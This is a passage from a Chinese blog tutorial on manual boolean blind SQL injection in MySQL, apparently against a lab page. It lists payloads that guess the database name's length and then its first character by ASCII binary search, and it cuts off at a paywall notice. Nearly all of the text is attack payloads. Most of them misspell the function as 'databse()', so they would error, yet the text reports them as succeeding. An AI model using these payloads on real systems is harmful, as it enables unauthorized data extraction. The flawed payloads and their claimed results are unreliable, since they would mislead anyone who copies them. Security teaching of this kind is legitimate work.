这篇博客详述了MySQL盲注的过程，包括猜解数据库名和表名的步骤，使用了ASCII值比较来逐步确定字符。作者通过示例展示了如何手动进行盲注，涉及到的SQL查询包括length()和ascii()等函数。
猜解当前数据库名
输入 1 ’ and length(database())=1 # ，显示不存在；
输入 1 ’ and length(database())=2 # ，显示不存在；
输入 1 ’ and length(database())=3 # ，显示不存在；
输入 1 ’ and length(database())=4 # ，显示存在：
采用二分法猜解数据库名
输入 1’ and ascii(substr(databse(),1,1))>97 # ，显示存在，说明数据库名的第一个字符的 ascii 值大于 97 (小写字母 a 的 ascii 值)；
输入 1’ and ascii(substr(databse(),1,1))<122 # ，显示存在，说明数据库名的第一个字符的 ascii 值小于 122 (小写字母 z 的 ascii 值)；
输入 1’ and ascii(substr(databse(),1,1))<109 # ，显示存在，说明数据库名的第一个字符的 ascii 值小于 109 (小写字母 m 的 ascii 值)；
输入 1’ and ascii(substr(databse(),1,1))<103 # ，显示存在，说明数据库名的第一个字符的 ascii 值小于 103 (小写字母 g 的 ascii 值)；
输入 1’ and ascii(substr(databse(),1,1))<100 # ，显示不存在，说明数据库名的第一个字符的 ascii 值不小于 100 (小写字母 d 的 ascii 值)；<
最低0.47元/天 解锁文章
109
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
